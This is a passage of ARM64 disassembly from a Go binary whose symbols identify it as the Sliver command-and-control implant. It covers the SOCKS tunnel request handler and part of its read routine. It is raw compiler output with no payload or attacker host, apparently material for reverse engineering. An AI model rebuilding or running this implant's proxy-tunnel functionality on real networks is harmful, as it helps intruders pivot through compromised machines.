    0040cd2cstr x2, [sp+56]
    0040cd30str x3, [sp+64]
    0040cd34str x4, [sp+72]
    0040cd38adrp x0, 0x278000
    0040cd3cadd x0, x0, 2848
    0040cd40bl runtime.newobject
    0040cd44str x0, [sp+272]
    0040cd48adrp x27, 0x63f000
    0040cd4cldr w2, [x27+3056]
    0040cd50cbz w2, 0x40cd58
    0040cd54b 0x40cd5c
    0040cd58
    0040cd58loc_40cd58:
    0040cd58b 0x40cd78
    0040cd5c
    0040cd5cloc_40cd5c:
    0040cd5cstr x0, [sp+248]
    0040cd60mov x1, x0
    0040cd64adrp x0, 0x278000
    0040cd68add x0, x0, 2848
    0040cd6cbl runtime.wbZero
    0040cd70ldr x0, [sp+248]
    0040cd74b 0x40cd78
    0040cd78
    0040cd78loc_40cd78:
    0040cd78mov x20, x0
    0040cd7cadr x27, 16
    0040cd80stp x29, x27, [sp-24]
    0040cd84sub x29, sp, 24
    0040cd88bl fn_87cfc
    0040cd8csub x29, sp, 8
    0040cd90str xzr, [x0+80]
    0040cd94ldr x2, [sp+272]
    0040cd98ldrsb x27, [x2]
    0040cd9cmovz x3, 23
    0040cda0str w3, [x2+16]
    0040cda4ldr x2, [sp+272]
    0040cda8ldrsb x27, [x2]
    0040cdacldr x3, [sp+56]
    0040cdb0ldr x4, [sp+64]
    0040cdb4ldr x5, [sp+72]
    0040cdb8str x4, [x2+32]
    0040cdbcstr x5, [x2+40]
    0040cdc0adrp x27, 0x63f000
    0040cdc4ldr w4, [x27+3056]
    0040cdc8cbz w4, 0x40cdd0
    0040cdccb 0x40cdd4
    0040cdd0
    0040cdd0loc_40cdd0:
    0040cdd0b 0x40cde8
    0040cdd4
    0040cdd4loc_40cdd4:
    0040cdd4bl runtime.gcWriteBarrier2
    0040cdd8str x3, [x25]
    0040cddcldr x4, [x2+24]
    0040cde0str x4, [x25+8]
    0040cde4b 0x40cde8
    0040cde8
    0040cde8loc_40cde8:
    0040cde8str x3, [x2+24]
    0040cdecldr x2, [sp+272]
    0040cdf0str x2, [sp+104]
    0040cdf4ldr x2, [sp+96]
    0040cdf8ldrsb x27, [x2]
    0040cdfcldr x2, [x2]
    0040ce00str x2, [sp+264]
    0040ce04ldr x0, [sp+264]
    0040ce08add x1, sp, 104
    0040ce0cbl runtime.chansend1
    0040ce10ldp x29, x30, [sp-8]
    0040ce14add sp, sp, 368
    0040ce18ret x30
    0040ce1c
    0040ce1cloc_40ce1c:
    0040ce1cstp x0, x1, [sp+8]
    0040ce20stp x2, x3, [sp+24]
    0040ce24mov x3, x30
    0040ce28bl runtime.morestack.abi0
    0040ce2cldp x0, x1, [sp+8]
    0040ce30ldp x2, x3, [sp+24]
    0040ce34b 0x40ca90
    0040ce38udf 0
    0040ce3cudf 0
    0040ca90
    0040ce40
    0040ce40github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.SocksReqHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.SocksReqHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
    0040ce40ldr x16, [x28+16]
    0040ce44sub x17, sp, 608
    0040ce48subs xzr, x17, x16
    0040ce4cb.ls 0x40d6cc
    0040ce50sub x20, sp, 736
    0040ce54stp x29, x30, [x20-8]
    0040ce58add sp, x20, 0
    0040ce5csub x29, sp, 8
    0040ce60str x0, [sp+744]
    0040ce64str x1, [sp+752]
    0040ce68adrp x0, 0x285000
    0040ce6cadd x0, x0, 1504
    0040ce70bl runtime.newobject
    0040ce74str x0, [sp+576]
    0040ce78adrp x27, 0x63f000
    0040ce7cldr w1, [x27+3056]
    0040ce80cbz w1, 0x40ce88
    0040ce84b 0x40ce8c
    0040ce88
    0040ce88loc_40ce88:
    0040ce88b 0x40cea8
    0040ce8c
    0040ce8cloc_40ce8c:
    0040ce8cstr x0, [sp+192]
    0040ce90mov x1, x0
    0040ce94adrp x0, 0x285000
    0040ce98add x0, x0, 1504
    0040ce9cbl runtime.wbZero
    0040cea0ldr x0, [sp+192]
    0040cea4b 0x40cea8
    0040cea8
    0040cea8loc_40cea8:
    0040cea8mov x20, x0
    0040ceacadr x27, 16
    0040ceb0stp x29, x27, [sp-24]
    0040ceb4sub x29, sp, 24
    0040ceb8bl fn_87cf0
    0040cebcsub x29, sp, 8
    0040cec0ldr x5, [sp+576]
    0040cec4str x5, [sp+112]
    0040cec8str x5, [sp+720]
    0040ceccldr x5, [sp+744]
    0040ced0ldrsb x27, [x5]
    0040ced4ldr x0, [x5+24]
    0040ced8ldr x1, [x5+32]
    0040cedcldr x2, [x5+40]
    0040cee0str x0, [sp+552]
    0040cee4str x1, [sp+560]
    0040cee8str x2, [sp+568]
    0040ceecldr x4, [sp+720]
    0040cef0adrp x3, 0x308000
    0040cef4add x3, x3, 3840
    0040cef8bl google.golang.org/protobuf/proto.Unmarshal
    0040cefcstr x0, [sp+136]
    0040cf00str x1, [sp+144]
    0040cf04cbnz x0, 0x40cf0c
    0040cf08b 0x40cfcc
    0040cf0c
    0040cf0cloc_40cf0c:
    0040cf0cadd x27, sp, 704
    0040cf10stp xzr, xzr, [x27]
    0040cf14add x5, sp, 704
    0040cf18str x5, [sp+520]
    0040cf1cldr x5, [sp+136]
    0040cf20ldr x6, [sp+144]
    0040cf24str x5, [sp+504]
    0040cf28str x6, [sp+512]
    0040cf2cstr x5, [sp+496]
    0040cf30ldr x5, [sp+496]
    0040cf34cbnz x5, 0x40cf3c
    0040cf38b 0x40cf4c
    0040cf3c
    0040cf3cloc_40cf3c:
    0040cf3cldr x5, [sp+496]
    0040cf40ldr x5, [x5+8]
    0040cf44str x5, [sp+496]
    0040cf48b 0x40cf50
    0040cf4c
    0040cf4cloc_40cf4c:
    0040cf4cb 0x40cf50
    0040cf50
    0040cf50loc_40cf50:
    0040cf50ldr x5, [sp+520]
    0040cf54ldrsb x27, [x5]
    0040cf58ldr x6, [sp+496]
    0040cf5cldr x7, [sp+512]
    0040cf60str x6, [x5]
    0040cf64adrp x27, 0x63f000
    0040cf68ldr w6, [x27+3056]
    0040cf6ccbz w6, 0x40cf74
    0040cf70b 0x40cf78
    0040cf74
    0040cf74loc_40cf74:
    0040cf74b 0x40cf8c
    0040cf78
    0040cf78loc_40cf78:
    0040cf78bl runtime.gcWriteBarrier2
    0040cf7cstr x7, [x25]
    0040cf80ldr x6, [x5+8]
    0040cf84str x6, [x25+8]
    0040cf88b 0x40cf8c
    0040cf8c
    0040cf8cloc_40cf8c:
    0040cf8cstr x7, [x5+8]
    0040cf90ldr x2, [sp+520]
    0040cf94ldrsb x27, [x2]
    0040cf98b 0x40cf9c
    0040cf9c
    0040cf9cloc_40cf9c:
    0040cf9cstr x2, [sp+528]
    0040cfa0orr x4, xzr, 1
    0040cfa4str x4, [sp+536]
    0040cfa8str x4, [sp+544]
    0040cfacadrp x0, 0x2b7000
    0040cfb0add x0, x0, 2158
    0040cfb4movz x1, 39
    0040cfb8mov x3, x4
    0040cfbcbl log.Printf
    0040cfc0ldp x29, x30, [sp-8]
    0040cfc4add sp, sp, 736
    0040cfc8ret x30
    0040cfcc
    0040cfccloc_40cfcc:
    0040cfccldr x1, [sp+112]
    0040cfd0ldrsb x27, [x1]
    0040cfd4ldr x1, [x1+8]
    0040cfd8cbnz x1, 0x40cfe0
    0040cfdcb 0x40d6b0
    0040cfe0
    0040cfe0loc_40cfe0:
    0040cfe0ldr x1, [sp+112]
    0040cfe4ldrsb x27, [x1]
    0040cfe8ldr x1, [x1+16]
    0040cfecstr x1, [sp+80]
    0040cff0add x27, sp, 672
    0040cff4stp xzr, xzr, [x27]
    0040cff8add x27, sp, 688
    0040cffcstp xzr, xzr, [x27]
    0040d000add x1, sp, 672
    0040d004str x1, [sp+464]
    0040d008ldr x1, [sp+112]
    0040d00cldrsb x27, [x1]
    0040d010ldr x0, [x1+72]
    0040d014str x0, [sp+72]
    0040d018bl runtime.convT64
    0040d01cstr x0, [sp+456]
    0040d020ldr x1, [sp+464]
    0040d024ldrsb x27, [x1]
    0040d028adrp x2, 0x1e8000
    0040d02cadd x2, x2, 3456
    0040d030str x2, [x1]
    0040d034adrp x27, 0x63e000
    0040d038ldr w2, [x27+3056]
    0040d03ccbz w2, 0x40d044
    0040d040b 0x40d048
    0040d044
    0040d044loc_40d044:
    0040d044b 0x40d05c
    0040d048
    0040d048loc_40d048:
    0040d048bl runtime.gcWriteBarrier2
    0040d04cstr x0, [x25]
    0040d050ldr x2, [x1+8]
    0040d054str x2, [x25+8]
    0040d058b 0x40d05c
    0040d05c
    0040d05cloc_40d05c:
    0040d05cstr x0, [x1+8]
    0040d060ldr x0, [sp+80]
    0040d064bl runtime.convT64
    0040d068str x0, [sp+448]
    0040d06cldr x1, [sp+464]
    0040d070ldrsb x27, [x1]
    0040d074adrp x2, 0x1e8000
    0040d078add x2, x2, 3520
    0040d07cstr x2, [x1+16]
    0040d080adrp x27, 0x63e000
    0040d084ldr w2, [x27+3056]
    0040d088cbz w2, 0x40d090
    0040d08cb 0x40d094
    0040d090
    0040d090loc_40d090:
    0040d090b 0x40d0a8
    0040d094
    0040d094loc_40d094:
    0040d094bl runtime.gcWriteBarrier2
    0040d098str x0, [x25]
    0040d09cldr x5, [x1+24]
    0040d0a0str x5, [x25+8]
    0040d0a4b 0x40d0a8
    0040d0a8
    0040d0a8loc_40d0a8:
    0040d0a8str x0, [x1+24]
    0040d0acldr x2, [sp+464]
    0040d0b0ldrsb x27, [x2]
    0040d0b4b 0x40d0b8
    0040d0b8
    0040d0b8loc_40d0b8:
    0040d0b8str x2, [sp+472]
    0040d0bcorr x4, xzr, 2
    0040d0c0str x4, [sp+480]
    0040d0c4str x4, [sp+488]
    0040d0c8adrp x0, 0x2c2000
    0040d0ccadd x0, x0, 700
    0040d0d0movz x1, 77
    0040d0d4mov x3, x4
    0040d0d8bl log.Printf
    0040d0dcldr x5, [sp+112]
    0040d0e0ldrsb x27, [x5]
    0040d0e4ldr x5, [x5+48]
    0040d0e8subs xzr, x5, 0
    0040d0eccset x6, ne
    0040d0f0strb w6, [sp+55]
    0040d0f4cbnz x5, 0x40d0fc
    0040d0f8b 0x40d118
    0040d0fc
    0040d0fcloc_40d0fc:
    0040d0fcldr x3, [sp+112]
    0040d100ldrsb x27, [x3]
    0040d104ldr x3, [x3+64]
    0040d108subs xzr, x3, 0
    0040d10ccset x3, ne
    0040d110strb w3, [sp+55]
    0040d114b 0x40d11c
    0040d118
    0040d118loc_40d118:
    0040d118b 0x40d11c
    0040d11c
    0040d11cloc_40d11c:
    0040d11cldrb w3, [sp+55]
    0040d120tbnz w3, 0, 0x40d128
    0040d124b 0x40d314
    0040d128
    0040d128loc_40d128:
    0040d128bl runtime.makemap_small
    0040d12cstr x0, [sp+664]
    0040d130ldr x0, [sp+112]
    0040d134ldrsb x27, [x0]
    0040d138ldr x1, [x0+56]
    0040d13cldr x0, [x0+64]
    0040d140str x1, [sp+648]
    0040d144str x0, [sp+656]
    0040d148ldr x0, [sp+112]
    0040d14cldrsb x27, [x0]
    0040d150ldr x2, [x0+40]
    0040d154ldr x3, [x0+48]
    0040d158str x2, [sp+432]
    0040d15cstr x3, [sp+440]
    0040d160ldr x1, [sp+664]
    0040d164adrp x0, 0x236000
    0040d168add x0, x0, 2496
    0040d16cbl runtime.mapassign_faststr
    0040d170str x0, [sp+424]
    0040d174ldrsb x27, [x0]
    0040d178ldr x1, [sp+648]
    0040d17cldr x2, [sp+656]
    0040d180str x2, [x0+8]
    0040d184adrp x27, 0x63e000
    0040d188ldr w2, [x27+3056]
    0040d18ccbz w2, 0x40d194
    0040d190b 0x40d198
    0040d194
    0040d194loc_40d194:
    0040d194b 0x40d1ac
    0040d198
    0040d198loc_40d198:
    0040d198bl runtime.gcWriteBarrier2
    0040d19cstr x1, [x25]
    0040d1a0ldr x2, [x0]
    0040d1a4str x2, [x25+8]
    0040d1a8b 0x40d1ac
    0040d1ac
    0040d1acloc_40d1ac:
    0040d1acstr x1, [x0]
    0040d1b0ldr x1, [sp+664]
    0040d1b4str x1, [sp+152]
    0040d1b8str x1, [sp+664]
    0040d1bcstp xzr, xzr, [sp+160]
    0040d1c0ldr x1, [sp+664]
    0040d1c4str x1, [sp+416]
    0040d1c8adrp x2, 0x308000
    0040d1ccadd x2, x2, 1312
    0040d1d0str x2, [sp+160]
    0040d1d4str x1, [sp+168]
    0040d1d8str x2, [sp+632]
    0040d1dcstr x1, [sp+640]
    0040d1e0adrp x0, 0x1f5000
    0040d1e4add x0, x0, 512
    0040d1e8bl runtime.newobject
    0040d1ecstr x0, [sp+384]
    0040d1f0ldr x1, [sp+640]
    0040d1f4ldr x2, [sp+632]
    0040d1f8str x2, [sp+368]
    0040d1fcstr x1, [sp+376]
    0040d200adrp x0, 0x23d000
    0040d204add x0, x0, 1312
    0040d208add x1, sp, 368
    0040d20cbl runtime.convT
    0040d210str x0, [sp+360]
    0040d214ldr x1, [sp+384]
    0040d218ldrsb x27, [x1]
    0040d21cadrp x2, 0x309000
    0040d220add x2, x2, 3232
    0040d224str x2, [x1]
    0040d228adrp x27, 0x63e000
    0040d22cldr w2, [x27+3056]
    0040d230cbz w2, 0x40d238
    0040d234b 0x40d23c
    0040d238
    0040d238loc_40d238:
    0040d238b 0x40d250
    0040d23c
    0040d23cloc_40d23c:
    0040d23cbl runtime.gcWriteBarrier2
    0040d240str x0, [x25]
    0040d244ldr x3, [x1+8]
    0040d248str x3, [x25+8]
    0040d24cb 0x40d250
    0040d250
    0040d250loc_40d250:
    0040d250str x0, [x1+8]
    0040d254ldr x0, [sp+384]
    0040d258ldrsb x27, [x0]
    0040d25cb 0x40d260
    0040d260
    0040d260loc_40d260:
    0040d260str x0, [sp+392]
    0040d264orr x2, xzr, 1
    0040d268str x2, [sp+400]
    0040d26cstr x2, [sp+408]
    0040d270mov x1, x2
    0040d274bl github.com/things-go/go-socks5.WithAuthMethods
    0040d278str x0, [sp+624]
    0040d27cstr xzr, [sp+616]
    0040d280add x0, sp, 616
    0040d284str x0, [sp+328]
    0040d288ldrsb x27, [x0]
    0040d28cldr x3, [sp+624]
    0040d290adrp x27, 0x63e000
    0040d294ldr w4, [x27+3056]
    0040d298cbz w4, 0x40d2a0
    0040d29cb 0x40d2a4
    0040d2a0
    0040d2a0loc_40d2a0:
    0040d2a0b 0x40d2b8
    0040d2a4
    0040d2a4loc_40d2a4:
    0040d2a4bl runtime.gcWriteBarrier2
    0040d2a8str x3, [x25]
    0040d2acldr x4, [x0]
    0040d2b0str x4, [x25+8]
    0040d2b4b 0x40d2b8
    0040d2b8
    0040d2b8loc_40d2b8:
    0040d2b8str x3, [x0]
    0040d2bcldrsb x27, [x0]
    0040d2c0b 0x40d2c4
    0040d2c4
    0040d2c4loc_40d2c4:
    0040d2c4str x0, [sp+336]
    0040d2c8orr x2, xzr, 1
    0040d2ccstr x2, [sp+344]
    0040d2d0str x2, [sp+352]
    0040d2d4mov x1, x2
    0040d2d8bl github.com/things-go/go-socks5.NewServer
    0040d2dcadrp x27, 0x63e000
    0040d2e0ldr w3, [x27+3056]
    0040d2e4cbz w3, 0x40d2ec
    0040d2e8b 0x40d2f0
    0040d2ec
    0040d2ecloc_40d2ec:
    0040d2ecb 0x40d308
    0040d2f0
    0040d2f0loc_40d2f0:
    0040d2f0bl runtime.gcWriteBarrier2
    0040d2f4str x0, [x25]
    0040d2f8adrp x27, 0x613000
    0040d2fcldr x5, [x27+3448]
    0040d300str x5, [x25+8]
    0040d304b 0x40d308
    0040d308
    0040d308loc_40d308:
    0040d308adrp x27, 0x613000
    0040d30cstr x0, [x27+3448]
    0040d310b 0x40d35c
    0040d314
    0040d314loc_40d314:
    0040d314mov x0, xzr
    0040d318mov x1, xzr
    0040d31cmov x2, x1
    0040d320bl github.com/things-go/go-socks5.NewServer
    0040d324adrp x27, 0x63e000
    0040d328ldr w3, [x27+3056]
    0040d32ccbz w3, 0x40d334
    0040d330b 0x40d338
    0040d334
    0040d334loc_40d334:
    0040d334b 0x40d350
    0040d338
    0040d338loc_40d338:
    0040d338bl runtime.gcWriteBarrier2
    0040d33cstr x0, [x25]
    0040d340adrp x27, 0x613000
    0040d344ldr x5, [x27+3448]
    0040d348str x5, [x25+8]
    0040d34cb 0x40d350
    0040d350
    0040d350loc_40d350:
    0040d350adrp x27, 0x613000
    0040d354str x0, [x27+3448]
    0040d358b 0x40d35c
    0040d35c
    0040d35cloc_40d35c:
    0040d35cadd x27, sp, 704
    0040d360stp xzr, xzr, [x27]
    0040d364add x2, sp, 704
    0040d368str x2, [sp+296]
    0040d36cldrsb x27, [x2]
    0040d370adrp x27, 0x613000
    0040d374ldr x5, [x27+3448]
    0040d378adrp x6, 0x26e000
    0040d37cadd x6, x6, 3104
    0040d380str x6, [x2]
    0040d384adrp x27, 0x63e000
    0040d388ldr w6, [x27+3056]
    0040d38ccbz w6, 0x40d394
    0040d390b 0x40d398
    0040d394
    0040d394loc_40d394:
    0040d394b 0x40d3ac
    0040d398
    0040d398loc_40d398:
    0040d398bl runtime.gcWriteBarrier2
    0040d39cstr x5, [x25]
    0040d3a0ldr x6, [x2+8]
    0040d3a4str x6, [x25+8]
    0040d3a8b 0x40d3ac
    0040d3ac
    0040d3acloc_40d3ac:
    0040d3acstr x5, [x2+8]
    0040d3b0ldrsb x27, [x2]
    0040d3b4b 0x40d3b8
    0040d3b8
    0040d3b8loc_40d3b8:
    0040d3b8str x2, [sp+304]
    0040d3bcorr x4, xzr, 1
    0040d3c0str x4, [sp+312]
    0040d3c4str x4, [sp+320]
    0040d3c8adrp x0, 0x2a8000
    0040d3ccadd x0, x0, 3011
    0040d3d0movz x1, 18
    0040d3d4mov x3, x4
    0040d3d8bl log.Printf
    0040d3dcadd x27, sp, 600
    0040d3e0stp xzr, xzr, [x27]
    0040d3e4ldr x5, [sp+112]
    0040d3e8ldrsb x27, [x5]
    0040d3ecldr x5, [x5+80]
    0040d3f0str x5, [sp+64]
    0040d3f4adrp x27, 0x600000
    0040d3f8ldr x0, [x27+72]
    0040d3fcadrp x1, 0x1e8000
    0040d400add x1, x1, 3456
    0040d404add x2, sp, 64
    0040d408bl sync.(*Map).Load
    0040d40cstr x0, [sp+600]
    0040d410str x1, [sp+608]
    0040d414strb w2, [sp+55]
    0040d418ldr x5, [sp+600]
    0040d41cldr x6, [sp+608]
    0040d420str x5, [sp+176]
    0040d424str x6, [sp+184]
    0040d428ldrb w5, [sp+55]
    0040d42cstrb w5, [sp+54]
    0040d430ldr x5, [sp+176]
    0040d434ldr x6, [sp+184]
    0040d438str x5, [sp+96]
    0040d43cstr x6, [sp+104]
    0040d440ldrb w5, [sp+54]
    0040d444strb w5, [sp+53]
    0040d448tbnz w5, 0, 0x40d450
    0040d44cb 0x40d48c
    0040d450
    0040d450loc_40d450:
    0040d450ldr x0, [sp+96]
    0040d454ldr x3, [sp+104]
    0040d458adrp x1, 0x1eb000
    0040d45cadd x1, x1, 2176
    0040d460subs xzr, x0, x1
    0040d464b.eq 0x40d46c
    0040d468b 0x40d6bc
    0040d46c
    0040d46cloc_40d46c:
    0040d46cstr x3, [sp+208]
    0040d470ldr x2, [sp+112]
    0040d474ldrsb x27, [x2]
    0040d478add x1, x2, 8
    0040d47cstr x1, [sp+200]
    0040d480ldr x0, [sp+208]
    0040d484bl runtime.chansend1
    0040d488b 0x40d6a4
    0040d48c
    0040d48cloc_40d48c:
    0040d48cadrp x0, 0x1eb000
    0040d490add x0, x0, 2176
    0040d494movz x1, 10
    0040d498bl runtime.makechan
    0040d49cstr x0, [sp+88]
    0040d4a0str x0, [sp+592]
    0040d4a4ldr x2, [sp+112]
    0040d4a8ldrsb x27, [x2]
    0040d4acldr x0, [x2+80]
    0040d4b0str x0, [sp+56]
    0040d4b4bl runtime.convT64
    0040d4b8str x0, [sp+288]
    0040d4bcadrp x27, 0x600000
    0040d4c0ldr x2, [x27+72]
    0040d4c4ldr x4, [sp+592]
    0040d4c8adrp x1, 0x1e8000
    0040d4ccadd x1, x1, 3456
    0040d4d0adrp x3, 0x1eb000
    0040d4d4add x3, x3, 2176
    0040d4d8mov x5, x0
    0040d4dcmov x0, x2
    0040d4e0mov x2, x5
    0040d4e4bl sync.(*Map).Store
    0040d4e8ldr x2, [sp+112]
    0040d4ecldrsb x27, [x2]
    0040d4f0add x1, x2, 8
    0040d4f4str x1, [sp+280]
    0040d4f8ldr x0, [sp+88]
    0040d4fcbl runtime.chansend1
    0040d500adrp x0, 0x246000
    0040d504add x0, x0, 640
    0040d508bl runtime.newobject
    0040d50cstr x0, [sp+272]
    0040d510str xzr, [x0+16]
    0040d514adrp x27, 0x63e000
    0040d518ldr w2, [x27+3056]
    0040d51ccbz w2, 0x40d524
    0040d520b 0x40d528
    0040d524
    0040d524loc_40d524:
    0040d524b 0x40d540
    0040d528
    0040d528loc_40d528:
    0040d528ldr x3, [x0]
    0040d52cbl runtime.gcWriteBarrier2
    0040d530str x3, [x25]
    0040d534ldr x3, [x0+8]
    0040d538str x3, [x25+8]
    0040d53cb 0x40d540
    0040d540
    0040d540loc_40d540:
    0040d540stp xzr, xzr, [x0]
    0040d544ldr x3, [sp+272]
    0040d548ldrsb x27, [x3]
    0040d54cldr x4, [sp+112]
    0040d550adrp x27, 0x63e000
    0040d554ldr w5, [x27+3056]
    0040d558cbz w5, 0x40d560
    0040d55cb 0x40d564
    0040d560
    0040d560loc_40d560:
    0040d560b 0x40d578
    0040d564
    0040d564loc_40d564:
    0040d564bl runtime.gcWriteBarrier2
    0040d568str x4, [x25]
    0040d56cldr x5, [x3]
    0040d570str x5, [x25+8]
    0040d574b 0x40d578
    0040d578
    0040d578loc_40d578:
    0040d578str x4, [x3]
    0040d57cldr x3, [sp+272]
    0040d580ldrsb x27, [x3]
    0040d584ldr x4, [sp+752]
    0040d588adrp x27, 0x63e000
    0040d58cldr w5, [x27+3056]
    0040d590cbz w5, 0x40d598
    0040d594b 0x40d59c
    0040d598
    0040d598loc_40d598:
    0040d598b 0x40d5b0
    0040d59c
    0040d59cloc_40d59c:
    0040d59cbl runtime.gcWriteBarrier2
    0040d5a0str x4, [x25]
    0040d5a4ldr x5, [x3+8]
    0040d5a8str x5, [x25+8]
    0040d5acb 0x40d5b0
    0040d5b0
    0040d5b0loc_40d5b0:
    0040d5b0str x4, [x3+8]
    0040d5b4ldr x2, [sp+272]
    0040d5b8str x2, [sp+584]
    0040d5bcadrp x27, 0x613000
    0040d5c0ldr x0, [x27+3448]
    0040d5c4adrp x1, 0x30d000
    0040d5c8add x1, x1, 2904
    0040d5ccbl github.com/things-go/go-socks5.(*Server).ServeConn
    0040d5d0str x0, [sp+120]
    0040d5d4str x1, [sp+128]
    0040d5d8cbnz x0, 0x40d5e0
    0040d5dcb 0x40d6a0
    0040d5e0
    0040d5e0loc_40d5e0:
    0040d5e0add x27, sp, 704
    0040d5e4stp xzr, xzr, [x27]
    0040d5e8add x5, sp, 704
    0040d5ecstr x5, [sp+240]
    0040d5f0ldr x5, [sp+120]
    0040d5f4ldr x6, [sp+128]
    0040d5f8str x5, [sp+224]
    0040d5fcstr x6, [sp+232]
    0040d600str x5, [sp+216]
    0040d604ldr x5, [sp+216]
    0040d608cbnz x5, 0x40d610
    0040d60cb 0x40d620
    0040d610
    0040d610loc_40d610:
    0040d610ldr x5, [sp+216]
    0040d614ldr x5, [x5+8]
    0040d618str x5, [sp+216]
    0040d61cb 0x40d624
    0040d620
    0040d620loc_40d620:
    0040d620b 0x40d624
    0040d624
    0040d624loc_40d624:
    0040d624ldr x5, [sp+240]
    0040d628ldrsb x27, [x5]
    0040d62cldr x6, [sp+216]
    0040d630ldr x7, [sp+232]
    0040d634str x6, [x5]
    0040d638adrp x27, 0x63e000
    0040d63cldr w6, [x27+3056]
    0040d640cbz w6, 0x40d648
    0040d644b 0x40d64c
    0040d648
    0040d648loc_40d648:
    0040d648b 0x40d660
    0040d64c
    0040d64cloc_40d64c:
    0040d64cbl runtime.gcWriteBarrier2
    0040d650str x7, [x25]
    0040d654ldr x6, [x5+8]
    0040d658str x6, [x25+8]
    0040d65cb 0x40d660
    0040d660
    0040d660loc_40d660:
    0040d660str x7, [x5+8]
    0040d664ldr x2, [sp+240]
    0040d668ldrsb x27, [x2]
    0040d66cb 0x40d670
    0040d670
    0040d670loc_40d670:
    0040d670str x2, [sp+248]
    0040d674orr x4, xzr, 1
    0040d678str x4, [sp+256]
    0040d67cstr x4, [sp+264]
    0040d680adrp x0, 0x2b5000
    0040d684add x0, x0, 3418
    0040d688movz x1, 38
    0040d68cmov x3, x4
    0040d690bl log.Printf
    0040d694ldp x29, x30, [sp-8]
    0040d698add sp, sp, 736
    0040d69cret x30
    0040d6a0
    0040d6a0loc_40d6a0:
    0040d6a0b 0x40d6a4
    0040d6a4
    0040d6a4loc_40d6a4:
    0040d6a4ldp x29, x30, [sp-8]
    0040d6a8add sp, sp, 736
    0040d6acret x30
    0040d6b0
    0040d6b0loc_40d6b0:
    0040d6b0ldp x29, x30, [sp-8]
    0040d6b4add sp, sp, 736
    0040d6b8ret x30
    0040d6bc
    0040d6bcloc_40d6bc:
    0040d6bcadrp x2, 0x1fd000
    0040d6c0add x2, x2, 3520
    0040d6c4bl runtime.panicdottypeE
    0040d6c8hint
    0040d6cc
    0040d6ccloc_40d6cc:
    0040d6ccstp x0, x1, [sp+8]
    0040d6d0mov x3, x30
    0040d6d4bl runtime.morestack_noctxt.abi0
    0040d6d8ldp x0, x1, [sp+8]
    0040d6dcb 0x40ce40
    0040ce40
    0040d6e0
    0040d6e0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.(*socks).Read: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.(*socks).Read(github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.socks * s, struct []uint8 b)
    0040d6e0ldr x16, [x28+16]
    0040d6e4sub x17, sp, 144
    0040d6e8subs xzr, x17, x16
    0040d6ecb.ls 0x40d8e0
    0040d6f0sub x20, sp, 272
    0040d6f4stp x29, x30, [x20-8]
    0040d6f8add sp, x20, 0
    0040d6fcsub x29, sp, 8
    0040d700str x0, [sp+280]
    0040d704str x1, [sp+288]
    0040d708str x2, [sp+296]
    0040d70cstr x3, [sp+304]
    0040d710str xzr, [sp+40]
    0040d714stp xzr, xzr, [sp+80]
    0040d718stp xzr, xzr, [sp+136]
    0040d71cldr x3, [sp+280]
    0040d720ldrsb x27, [x3]
    0040d724ldr x3, [x3]
    0040d728ldrsb x27, [x3]
    0040d72cldr x3, [x3+80]
    0040d730str x3, [sp+64]
    0040d734adrp x27, 0x600000
    0040d738ldr x0, [x27+72]
    0040d73cadrp x1, 0x1e8000
    0040d740add x1, x1, 3456
    0040d744add x2, sp, 64
    0040d748bl sync.(*Map).Load
    0040d74cstr x0, [sp+136]
    0040d750str x1, [sp+144]
    0040d754strb w2, [sp+39]
    0040d758ldr x3, [sp+136]
    0040d75cldr x4, [sp+144]
    0040d760str x3, [sp+152]
    0040d764str x4, [sp+160]
    0040d768ldrb w3, [sp+39]
    0040d76cstrb w3, [sp+38]
    0040d770ldr x3, [sp+152]
    0040d774ldr x4, [sp+160]
    0040d778str x3, [sp+120]
    0040d77cstr x4, [sp+128]
    0040d780ldrb w3, [sp+38]
    0040d784strb w3, [sp+37]
    0040d788tbnz w3, 0, 0x40d790
    0040d78cb 0x40d888
    0040d790
    0040d790loc_40d790:
    0040d790str xzr, [sp+224]
    0040d794stp xzr, xzr, [sp+232]
    0040d798ldr x0, [sp+120]
    0040d79cldr x3, [sp+128]
    0040d7a0adrp x1, 0x1eb000
    0040d7a4add x1, x1, 2176
    0040d7a8subs xzr, x0, x1
    0040d7acb.eq 0x40d7b4
    0040d7b0b 0x40d8d0
    0040d7b4
    0040d7b4loc_40d7b4:
    0040d7b4str x3, [sp+216]
    0040d7b8ldr x0, [sp+216]
    0040d7bcadd x1, sp, 224
    0040d7c0bl runtime.chanrecv1
    0040d7c4ldr x2, [sp+224]
    0040d7c8ldr x3, [sp+232]
    0040d7ccldr x4, [sp+240]
    0040d7d0str x2, [sp+96]
    0040d7d4str x3, [sp+104]
    0040d7d8str x4, [sp+112]
    0040d7dcldr x2, [sp+288]
    0040d7e0ldr x3, [sp+296]
    0040d7e4ldr x4, [sp+304]
    0040d7e8str x2, [sp+192]
    0040d7ecstr x3, [sp+200]
    0040d7f0str x4, [sp+208]
    0040d7f4ldr x2, [sp+104]
    0040d7f8ldr x3, [sp+96]
    0040d7fcldr x4, [sp+112]
    0040d800str x3, [sp+168]
    0040d804str x2, [sp+176]
    0040d808str x4, [sp+184]
    0040d80cldr x3, [sp+200]
    0040d810str x3, [sp+56]
    0040d814subs xzr, x3, x2
    0040d818b.gt 0x40d820
    0040d81cb 0x40d828
    0040d820
    0040d820loc_40d820:
    0040d820str x2, [sp+56]
    0040d824b 0x40d82c
    0040d828
    0040d828loc_40d828:
    0040d828b 0x40d82c
    0040d82c
    0040d82cloc_40d82c:
    0040d82cldr x3, [sp+168]
    0040d830ldr x4, [sp+192]
    0040d834subs xzr, x3, x4
    0040d838b.ne 0x40d840
    0040d83cb 0x40d85c
    0040d840
    0040d840loc_40d840:
    0040d840ldr x3, [sp+56]
    0040d844str x3, [sp+48]
    0040d848ldr x2, [sp+48]
    0040d84cldr x1, [sp+168]
    0040d850ldr x0, [sp+192]
    0040d854bl runtime.memmove
    0040d858b 0x40d860
    0040d85c
    0040d85cloc_40d85c:
    0040d85cb 0x40d860
    0040d860
    0040d860loc_40d860:
    0040d860ldr x3, [sp+56]
    0040d864str x3, [sp+72]
    0040d868str x3, [sp+40]
    0040d86cstp xzr, xzr, [sp+80]
